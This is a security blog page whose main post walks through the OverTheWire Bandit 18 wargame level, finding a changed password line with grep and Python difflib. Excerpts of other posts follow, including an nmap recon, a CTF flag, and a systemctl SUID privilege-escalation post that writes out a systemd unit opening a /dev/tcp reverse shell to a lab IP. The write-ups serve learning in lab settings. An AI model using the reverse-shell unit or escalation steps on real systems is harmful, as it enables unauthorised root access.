Skip to main content

Over the Wire - Bandit 18

Bandit 18

Objectives
There are 2 files in the homedirectory: passwords.old and passwords.new. The password for the next level is in passwords.new and is the only line that has been changed between passwords.old and passwords.new
NOTE: if you have solved this level and see ‘Byebye!’ when trying to log into bandit18, this is related to the next level, bandit19


Solution


let's grep with some switches
-F, --fixed-strings Interpret PATTERN as a list of fixed strings, separated by newlines, any of which is to be matched. 
-x, --line-regexp Select only those matches that exactly match the whole line.
-, --file=FILE Obtain patterns from FILE, one per line. The empty file contains zero patterns, and therefore matches nothing.
-v
, --invert-match Invert the sense of matching, to select non-matching lines.


bandit17@bandit:~$ grep -Fxvf passwords.old passwords.newkfBf3eYk5BPBRzwjqutbbfE887SVc5Yd



now in python

>>> import difflib>>> new = open("passwords.new").readlines()>>> old = open("passwords.old").readlines()>>> >>> for line in difflib.unified_diff(new,old, fromfile='passwords.new', tofile='passowrds.old'):
...  print line,





--- passwords.new+++ passowrds.old@@ -39,7 +39,7 @@ gZ5U640FLMMChheWKHNdaQ1lKzLuqjxZ Al0xVJb5bEzhnFG8nPFe6IJa2FjXVSzo CT2ZJy6MoLkTqdHuhL5zUIsW41WCntAA-kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd+hlbSBPAWJmL6WFDb06gpTx1pPButblOA 46lUvvv0JJzyY0IOhWgGp5IjfsllmvaC FcSd4Me936rwbk2pAU9ylx9NXTrzdCaX vfU4mCzATtqUMNLg3a7mPs3OY6Dr4jaZ





so from this output we can see there are two lines that only appear in each of the files, hence the + and - sign in front of the two lines. from our python we know that passwords.new is designated by the minus sign 

-kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd+hlbSBPAWJmL6WFDb06gpTx1pPButblOA


Comments

Popular posts from this blog

HacktheBox - Retired - Frolic

HacktheBox - Retired - Frolic Recon Let's start out with a threader3000 scan Some interesting results here Port 22 and 445 aren't uncommon… but 1880 and 9999 are.. Let's let nmap run through these ports  Option Selection: 1 nmap -p22,445,1880,9999 -sV -sC -T4 -Pn -oA 10.10.10.111 10.10.10.111 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-05 16:17 EDT Nmap scan report for 10.10.10.111 Host is up (0.060s latency). PORT     STATE SERVICE     VERSION 22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA) |   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA) |_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519) 445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 1880/tcp open  http        Node.js (Express middlewar

RingZero CTF - Forensics - Who am I part 2

RingZero CTF - Forensics -  Who am I part 2 Objective: I'm the proud owner of this website. Can you verify that? Solution: Well it took me a bit to figure this one out. I tried looking at the whois records for ringzer0ctf.com I tired looking at the DNS records for the site. I even looked in the Certificate for the site. Then I thought a little be more about the question. It's not asking how I can verify who own the site. It wants me to verify the owner themselves. Luckily at the bottom the page we see who is listed as on the twittter feeds @ringzer0CTF and @ MrUnik0d3r lets check if we can find the PGP for MrUniK0d3r online. I googled PGP and MrUn1k0d3r The very first result is his PGP  keybase.txt with his PGP at the bottom of the file is the flag FLAG-7A7i0V2438xL95z2X2Z321p30D8T433Z

Abusing systemctl SUID for reverse shell

Today I came across a box that had the SUID set for systemctl connected as the apache user www-data I was able to get a root reverse shell. This is to document how to use this for privilege escalation. I used a bit from this blog https://carvesystems.com/news/contest-exploiting-misconfigured-sudo/ and a bit from here too https://hosakacorp.net/p/systemd-user.html Step1. Create a fake service I named my LegitService.service I placed it in the /tmp directory on the server. [Unit] UNIT=LegitService Description=Black magic happening, avert your eyes [Service] RemainAfterExit=yes Type=simple ExecStart=/bin/bash -c "exec 5<>/dev/tcp/10.2.21.243/5555; cat <&5 | while read line; do $line 2>&5 >&5; done" [Install] WantedBy=default.target Then in order to add this to a place we can use systemctl to call from I created a link from /tmp, since I didn't have permission to put the file in the normal systemd folders systemctl link /tmp/LegitService.service The